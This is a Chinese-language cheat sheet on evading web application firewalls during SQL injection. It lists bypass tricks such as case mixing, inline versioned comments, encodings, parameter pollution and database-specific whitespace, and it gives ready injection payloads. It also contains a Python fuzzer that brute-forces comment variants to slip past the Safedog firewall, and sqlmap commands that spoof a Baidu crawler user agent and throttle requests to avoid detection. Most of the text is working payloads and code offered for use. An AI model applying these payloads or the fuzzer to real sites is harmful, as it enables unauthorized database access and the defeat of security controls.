SQL注入之WAF绕过
- 大小写
- 加密解密
- 编码解码
- 等价函数
- 特殊符号
- 反序列化
- 注释符混用
- 更改提交方式
- 变异
- Fuzz大法
- 数据库特性
- 垃圾数据溢出
- HTTP参数污染
大小写关键字替换
id=1 UnioN/**/SelEct 1,user() Hex() bin() 等价 acsii() sleep() 等价于 benchmark() Mid() substring()等价于 substr() @@user 等价 user() @@version 等价 version()
各种编码
大小写,URL hex %0A等
注释使用
// –+ – (两个-加空格) (#)(这里是单个#,用括号是因为会被注释了) // + ;%00 /!/
再次循环
union==uunionnion
等价替换
user() = @@user() and=& or=| ascii=hex等
参数污染
?id=1&id=2&id=3
编码解码以及加密解密
s->%73->%25%37%33 hex,unlcode,base64等
更改请求提交方式
GET POST COOKIE POST->multipart/from-data
中间件HTTP参数污染
数据库特性
- MySQL技巧
- MySQL注释符有三种:#、/----/、-- 、…(注意–后有一个空格)
- 空格符:[0x09,0x0a-0x0d,0x20,0xa0]
- 特殊符号:%a 换行符
可结合注释符使用%230a,%2d%2d%0a - 内联注释
/*!Union123456Select / 1,user() //数字范围1000-50540 /!50000union Select */ 1,user() 下面有与fuzz配合的 代码 表示如果mysql版本大于5.00.00版本就执行,不被注释,如果低于则被注释 - mysql黑魔法
select{x username} from {x11 test.admin}; union all%23%0a select 1,2,version()’
- SQL Server技巧
- 用注释掉注释后查询的其余部分
/* C语言风格注释 – SQL注释(两个-加空格) ; 00% 空字节 - 空白符:[0x01-0x20]
- 特殊符号:%3a 冒号
id=1 union;elect 1,2 from:admin - 函数变形:如db_name [空白字符] ()
- Oracle技巧
- 注释符::–和/**/
- 空白字符:[0x00,0x09,0x0a-0x0d,0x20]
- 配合FUZZ
select * from admin where id=1 [位置一] union [位置二] select [位置三] 1,2,db_name [位置四] from [位置五] admin
注入方法 id=-1 ~ ! %0A id=-1 union // select 1,2,3 --+ id=-1 union%23a%0Aselect 1,2,3 --+ 不能正常运行 id=-1 uni//on select 1,2,3 --+ d=-1 uni/**/on select 1,2,3 --+
HTTP参数污染
给多个参数如:/?id=12&23 这个时候就是看服务器会接收那个内容,如果是php/apache那么获取的就是后面的内容,如果是jsp/tomcat的话就是第一个 在mysql中/** select username from users*/是不能执行的,属于注释符 1/**-1 union select 1,2,3#*/
白名单
方式一:IP白名单 从网络层获取的IP一般无法伪造,如果是获取客户端的,那么存在伪造IP绕过。 伪造为百度爬虫的请求头(让WAF以为是官方的爬虫,达到绕过)
fuzz代码实现
import requests, time
url = 'http://10.1.1.120/Less-2/?id=1'
union = 'union'
select = 'select'
num = '1,2,3'
a = {'%0a', '%23'}
aa = {'x'}
aaa = {'%0a', '%23'}
b = '/*!'
c = '/*'
def bypass():
for xiaodi in a:
for xiaodis in aa:
for xiaodiss in aaa:
for two in range(44500, 44600):
urls = url + xiaodi + xiaodis + xiaodiss + b + str(two) + union + c + xiaodi + xiaodis + xiaodiss + select + xiaodi + xiaodis + xiaodiss + num
try:
result = requests.get(urls).text
len_r = len(result)
if (result.find('safedog') == -1):
print('bypass url address:' + urls + '|' + str(len_r))
if len_r == 715:
fp = open('url,txt', 'a+')
fp.write(urls + '\n')
fp.close()
except Exception as err:
print('connecting error')
time.sleep(0.1)
if __name__ == '__main__':
print('fuzz start')
bypass()
SQLmap
sqlmap -u “http://www.xxxx.com/?id=1” --tamper=xxx.py --proxy=http://127.0.0.1:8888 --random-agent –random-agent随机出现请求头,避免被墙(不改的话就是用默认sqlmap.org的请求头,直接就拦截了) 使用比如百度爬虫的请求头就不会被墙
自定义请求头 sqlmap -u “http://www.xxxx.com/?id=1” --tampper xxx.py --user-Agent=”Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/spider.html)“ 延时注入,避免被墙 –delay 1 每一秒注入一次
|